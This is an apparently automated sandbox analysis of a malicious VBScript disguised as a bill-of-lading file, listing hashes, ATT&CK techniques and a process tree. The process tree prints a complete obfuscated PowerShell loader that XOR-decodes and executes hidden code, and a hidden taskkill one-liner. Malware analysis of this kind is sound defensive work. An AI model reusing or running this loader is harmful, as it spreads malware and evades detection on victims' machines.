a5f26905d81e65c2de5579f0a2c8ff83c3cd4649eff015387d2ddf148b46a4c6

Analysis

max time kernel
150s
max time network
126s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/10/2026, 03:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
CKCOXM2604298M提单样本.vbs
Size 29KB
Sample261027-d2216abs2j
SHA256 a5f26905d81e65c2de5579f0a2c8ff83c3cd4649eff015387d2ddf148b46a4c6
MD5 99abaf531709ff89d4887a4560603352
SHA1 29cdd8527db165bf63027aee90f707e3d98ad6ef
SHA512 726646d0a164ccb3d383da3e0a697d087e8a24a47500237387a9c2191e9f9b126b6f9e70fc28ff6abdf5542529fe2cc6991ae9c1a4dacaf3d89d407558f3319b
SSDEEP 768:KSObhOJnITHc0XODVkLEANEy5gJJAk3aG/SCthj0l0tBZzr8c:LihOJnsHcFDVkLEANEwgJJh3aGxy0Xuc
TLSH
T1EBD264178D068FF01C7A2756A57FA81DA920036678387D0E398FF15C3B3A625CBD16E6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	3976	powershell.exe
8	3976	powershell.exe
10	3976	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
252	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
5072	WScript.exe

SmartAssembly .NET packer 1 IoCs

Detects SmartAssembly .NET packer.

resource	yara_rule
behavioral2/memory/3976-19-0x000002038C170000-0x000002038C186000-memory.dmp	SmartAssembly

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1020	cmd.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
4284	taskkill.exe
2708	taskkill.exe
5888	taskkill.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3976	powershell.exe
3976	powershell.exe
3976	powershell.exe
252	powershell.exe
252	powershell.exe
252	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3976	powershell.exe
Token: SeDebugPrivilege	252	powershell.exe
Token: SeDebugPrivilege	4284	taskkill.exe
Token: SeDebugPrivilege	2708	taskkill.exe
Token: SeDebugPrivilege	5888	taskkill.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 5072 wrote to memory of 3976	5072	WScript.exe	90
PID 3976 wrote to memory of 252	3976	powershell.exe	92
PID 252 wrote to memory of 1020	252	powershell.exe	94
PID 1020 wrote to memory of 4284	1020	cmd.exe	96
PID 1020 wrote to memory of 2708	1020	cmd.exe	98
PID 1020 wrote to memory of 5888	1020	cmd.exe	99

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\CKCOXM2604298M提单样本.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:5072
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $j=62-34;$yFoyC922='NvD6Hajx0kS';$fHG0k20='9Gh5HugxWV124epS';$dCWrmLQ='xhuVx99SgguhuSH4H1gpgeggH5x5HH5guhHV92GGGughhVGWhWux5guV9exV5VHWx1g9HVx5HhuGuHupuH9SH5xeHVGghHh1g9uHueg992Hhg4hhGWHeGWg9uhupHuHhGug9ge9uhuHWxe9gg2H9G5Hug4HSxGH5ughWuuuuuuHhGug251g9x29hxuHSuW92uGuxgggg9H519uhS92929g95G4gug99Wx4HhupupupHuGpuV5h59Hu5uHx52H9GHHe5GGug9HVGG5gHWx9g9GHH25xG4g2g4H5g4HWxVGhHeGV5Gghx9gxuWx29G54gSuuu1GpGSH4x1HSxG9Wx2uuuxxSu992u4H9g1hgHhuuupHHxGGpH5g9x1H25gHWxeGhHehSg954955H945pH4HVxuuuugHHghg4ggu1xx9Sxxg2uSH29HHuHHxuHhxS92xxHVgeGWu9ghg4xxuVg49uggHhg9u99uHuggxxH5xhH4hSG2g2g49SHuhxHxHVxeGVg9uhHHu251H5ggg9H5xe95xpgSHVuh9Sg455hpxWxhGSh59V5ehW5VHugWgguW555SxpupuuuhH1G4u1xGHSxG9hxgHWG9GGgx52hV5H945p91gxuuu5ug95upgx5HgWxGG2x4uxuSH59pxugWg9HeuWGpxeugx4H29Hu1x15Hux5pG4x5HVuGHSH1GVuhgxuWg49ux4u4g2xS5xGugWhH9u5pgGGWG2G99hH1GugWhu94h5H4u4upHx9Shuu5g5xGHSg1H4HGHhH5ug9Su4hxu1HVg1HhHuupuhgG9guWg4x1uWhuH4GS5GG99hH1GGhexuGp5puG5hx4uuugHxg5gWx1HWxG9G5hGgxVH4G1HHxeu2HpxH9VxGHSG99g929GhV5VgSxGGVx4HSG99g929GhxuWHVx992ggu5929hgx52hV5H945p91xeHVuuH59VuVhV549WxSuS5huhup9hHpu9525e94guH4ggHVHV9hGGGGx2xGuWg2Gpx4G2GHH5u2GSHex2u2x999xeu1uHgg92HugW549WxSuS52G2He9h9Vu9xexxHH5pGx5huWuSH4GpuWgxgGHV5pGG5hHg929hgx52hV5H945pGpxxHSHuu99HGGhex1uVxh995hHg929hgx52hV5H945pHWx59SG9GSH1GghphShGGHH45hG2G99g929HhVhV945g55xgHVuSHSH1Ggu2xWu4xS5Hx1g1xhg552945H559uhugGGWGSuGGHH194hV5H9WxSuW5hG9GHH5uS919HGp945pH45hGSuGGhH194hVuH9H5gHWx59eG99VH1GVugx9upxG9G5hG4xxg99ux9HGugu2xSheu995g1g5hW9VgSu5u2uWhHH5';$n3JJfN8Q7='e22W15e224WgW1WuSp1u4244S14W2S4up91pp22upueg45W4WupGWh1VpSS1ee2gWG25Vh1512WpW42WV4S5WVVp2hVh1VeGWh1GWpWWSGW11u21VuWH4GeeSu12V44xSp2x2VVueHeV41pepgSG2ep1VxeeS541254uV2121SS115eg44V2VV1xW4WuWe11SgWg1x11WH1gSH1419WW21e91e2x1pWGWH4924SVShS124pxeSe9S54G254epHpSSe2u45S44S2heg25e9pHW22hph19V1WH2hWuexW4291pV2px1GV21x21WSSWVppHp2241uSuS2pGS54G254epHpSSe2u1xV942S24uShe1pHph25S9ppehWu1gWeSS4HpH2HSe2G1S4p42pp4G4W2p2e241VS915eW2S2gVVpx45WG1G2pS111VSWu2H241VexVGV2V21ep92GWp1x2hpxVS1e1G212ep1Vxe4S1e1VppxpHpSSe2uppehW1p14G1p4ep4V92Vpx1GV242SH1HS21xSe1125S1VS2511ppe42H4HSSpSSVSxSpegegS54V44WV2g19292upV25W5VVV9eg1SWuShS124Sueg4S2Ge925e9pHp2241ep92SWu2xWHp21h1hpxSVSHSxeSe9S5p4VV4epHpSSe2G144H42pp4G2xW4S4pGVHS211V5V5V4Wx224V1gSSSH1p45S442S54G254e1e1VSe2ep1VHe1S544SHWWpHSSSe2W1SVWWSS54uSGeSpHph21pGppehWVph4W25VgpHp22S1HppeeegS54uSheHp1W52WS21VWhW5pW4GVppxpHpSSe2up1VHeWS5e4254V1gSeSe2WppehWVphe1VppxpHpSSe2uppehWVpx4G1p4ep91ppu22VeW5WV19VupGWH111WSu2G144x4xS54uSGeppeSHe9VSppeg42SxW51G4eSVpSSVSHSgeW1h2eWuSgVuW21VSu2G144g4hpWp4VV4epHpSSe2up1VHepS5e4252gVx2g1ppG12V24uV9WpSeV21G2e1V4WSH441e1GWpSp1S1u242W15S11uVS1GWWSeW1p4p22S1Gpx4e42S54G2xWSSgpSp92up1Vxe5Se1WSeWV1G2xVhS5pgehWVp54W1W4epHpSSVSxS4egegS54uSheup1Wg25SG12Wp1H2u4V2xWSSHpgpgVW4Heg42S54G2xWSShpSp92uVu1uVh19VuSgW9p1Ve2WS51hV5WW1xWWS4W5p1Wp1ppg12V2WV2SVW4pexSpW52hSH11ep4S2GeH21eg4V4uSe2uWVV5VSSp2GpGWh1x111ppgppW142W9WppGVVpVW92SSS12VuVSS51h452W';$umveIRC='uhgx54gS9x5p55h1gW5p9GGug19Hh1hx5W51hGgSh5Hh5ehWGhgSGxhVxggVH15pGe9G5puW5SuHhGxg9hg5hu9hG55puuupGu5S51hGh4GV9pGShSuHHVhH9Wu2Hph4xxHSuhgpG15euHg9xgg9gpgGHG5uhS94up9ehe55g4hH9W9299huGuh1u594gxh9gV9ShpHSxxuSh5uHxgxgg4u555GeGehxuWhehu9W51hxuWgxhh55G9G5H4599pgg59gWx9Hgu2xGxu99xVuxxggHh4xxH2G9xhHuhhh25VhHh2gGxxHWh2x2HVHxh5ge5h9xuS59uhHSgeuG5GxVuxxggHh4xxH2G9x5uW5xuHxu9Vh9xp5W9huhgehSgghp54Gx95gHG55x5HxS55uhGWgVGHG5u154he5u9WH9g45uGS9ShhHHh9hpGG9eh15h5uG15ph2g1Gg5p5xGSh2u4HuGx9uhSgHGp545xhg5SuhhG5uGeGxHV52hHuug5uW5GuHxV5Hxeh4g1HSughWHGhHhxhW5H5xxWhu9gG4heu951uWxexhhg5uxVh5GxhHGSxpG4xex2gH5eghHgxSH9u4gVHHxeg2gHhH9W9299huGuh1u5Gu5GxV5Gx9HgHVHxxhh1uHxexgg9gSggHSHSg1u9uuG9hS5VhVh4x9hxGuxxHuheueggu2HphW5HueuhxxuWH19Sh9gegHhW5Hu4uhxxuWHHGGh1x292gp5e91GG5puWuV9ehphhhGgGxVh4GehgGHgSGxhV5Sh2ghhHHG555W91g29eGG5S5xxWu1guughVH4h1HVxeGGhGxWx15eG5hHG4guGVxex29Vgu5V9gGS5SGuh1HugeggxHh4x1hhG55hGGgx9G59xgxe5ugpugxSH9u4gVHGxeg2gHhHxSH2GGxpuWh9uHg4gGgeh4xhHSH9xSHph5uHx95H54g5huHSHh5hH2H2xVuxxhh1xV5295uhxxuWhpGxgpxW9ugW55HxhVG1h2HV9Ghphhh2gGGW9eGWhSG2xphVGehegHHu55HSHSg1u4gVH9ggxgG9g55491G4g1Huh1ugxV5uxGhpg4HShG5pGVxpGGxeg2gHhpGp92GphSu1h19VxHu2Hph4xxHSuhgpG254uHg9xgg9gpg9HG5uhS94HxGGhV5ph2gWxSHxhehp91guGVxexGG4H1h5hpuug5uWhGuHxu9Vh9xp5W9huhgeh9u4HHg9xGgehuxVhgG454GxgGGGxuxhh1xV5295upg1h5guGg5x55hxxW945hhSg1u9hpGggHxggWhW5Hupupg1uSheuWxexhhg5Hx2HSughVHWh1uWxexpG2gWhu99GSg1uSu4G49H9Sg5huxpHg9S5xxu99';$mgHHiyY=0x4C66-0x5EAB;$sSFNpNrR=@();foreach($usEiWodWO in [char[]]$yFoyC922){$sSFNpNrR+=[byte]($usEiWodWO-bxor0x5A)};$vzzfsb=$sSFNpNrR;$sSFNpNrR=@();foreach($usEiWodWO in [char[]]$yFoyC922){$sSFNpNrR+=[byte]($usEiWodWO-bxor0xA5)};$nPjxXtqJ=$sSFNpNrR;$sSFNpNrR=@();foreach($usEiWodWO in [char[]]$yFoyC922){$sSFNpNrR+=[byte]($usEiWodWO-bxor0x3C)};$qHDyj1J=$sSFNpNrR;$lldJgZa='';$iARPxZQF=0;$p3zb2QaE=0;while($iARPxZQF-lt$dCWrmLQ.Length){$zFQszL=$fHG0k20.IndexOf($dCWrmLQ[$iARPxZQF])*16+$fHG0k20.IndexOf($dCWrmLQ[$iARPxZQF+1]);if($p3zb2QaE-ge$vzzfsb.Length){$p3zb2QaE=0};$lldJgZa+=[char]($zFQszL-bxor$vzzfsb[$p3zb2QaE]);$p3zb2QaE++;$iARPxZQF+=2};$zrAL2c=$lldJgZa;$lldJgZa='';$iARPxZQF=0;$p3zb2QaE=0;while($iARPxZQF-lt$n3JJfN8Q7.Length){$zFQszL=$fHG0k20.IndexOf($n3JJfN8Q7[$iARPxZQF])*16+$fHG0k20.IndexOf($n3JJfN8Q7[$iARPxZQF+1]);if($p3zb2QaE-ge$nPjxXtqJ.Length){$p3zb2QaE=0};$lldJgZa+=[char]($zFQszL-bxor$nPjxXtqJ[$p3zb2QaE]);$p3zb2QaE++;$iARPxZQF+=2};$xEK2NG3=$lldJgZa;$lldJgZa='';$iARPxZQF=0;$p3zb2QaE=0;while($iARPxZQF-lt$umveIRC.Length){$zFQszL=$fHG0k20.IndexOf($umveIRC[$iARPxZQF])*16+$fHG0k20.IndexOf($umveIRC[$iARPxZQF+1]);if($p3zb2QaE-ge$qHDyj1J.Length){$p3zb2QaE=0};$lldJgZa+=[char]($zFQszL-bxor$qHDyj1J[$p3zb2QaE]);$p3zb2QaE++;$iARPxZQF+=2};$oHfttgMI0=$lldJgZa;$xzOWn3f=$zrAL2c+$xEK2NG3+$oHfttgMI0;.($ShellId[1] + $ShellId[13] + 'x') $xzOWn3f
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3976
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:252
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:1020
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM RegAsm.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4284
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM Vbc.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2708
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM MsBuild.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5888

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c29ca252edb73aed2196ff9e3627973222b669012b9ae1c2d265f3c8cce5c151
MD5 345c9aed873248c5ad67820b1d201171
SHA1 4e5c003dbaa71a364fac9138442d052938811e7b
SHA512 c166f691ec5020c1d232219ccb9821842b74736ddd448d9f30ed3f24f2a8e9e4ac4effff4fae354a83db9e91830aecee8d8e49d9d6569ae05c0e64f83be37460
TLSH
T189217833F3CC8211D889403A50CDEC0432B687DB809ECE6BBB84D644B53F599CE602A0
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ufg42r2l.ebz.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ufg42r2l.ebz.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3976-15-0x00007FFC94F50000-0x00007FFC958F4000-memory.dmp

Download

memory/3976-16-0x00007FFC94F50000-0x00007FFC958F4000-memory.dmp

Download

memory/3976-9-0x00007FFC94F50000-0x00007FFC958F4000-memory.dmp

Download

memory/3976-10-0x00007FFC94F50000-0x00007FFC958F4000-memory.dmp

Download

memory/3976-11-0x00007FFC94F50000-0x00007FFC958F4000-memory.dmp

Download

memory/3976-12-0x00007FFC94F50000-0x00007FFC958F4000-memory.dmp

Download

memory/3976-13-0x00007FFC94F50000-0x00007FFC958F4000-memory.dmp

Download

memory/3976-14-0x00007FFC94F50000-0x00007FFC958F4000-memory.dmp

Download

memory/3976-0-0x00007FFC950DF000-0x00007FFC950E0000-memory.dmp

Download

memory/3976-7-0x00000203A48E0000-0x00000203A4902000-memory.dmp

Download

memory/3976-17-0x00007FFC94F50000-0x00007FFC958F4000-memory.dmp

Download

memory/3976-18-0x00007FFC94F50000-0x00007FFC958F4000-memory.dmp

Download

memory/3976-19-0x000002038C170000-0x000002038C186000-memory.dmp

Download

memory/3976-28-0x00007FFC94F50000-0x00007FFC958F4000-memory.dmp

Download

memory/3976-29-0x00007FFC94F50000-0x00007FFC958F4000-memory.dmp

Download

memory/3976-30-0x00007FFC94F50000-0x00007FFC958F4000-memory.dmp

Download

memory/3976-1-0x00007FFC94F50000-0x00007FFC958F4000-memory.dmp

Download

memory/3976-33-0x00007FFC94F50000-0x00007FFC958F4000-memory.dmp

Download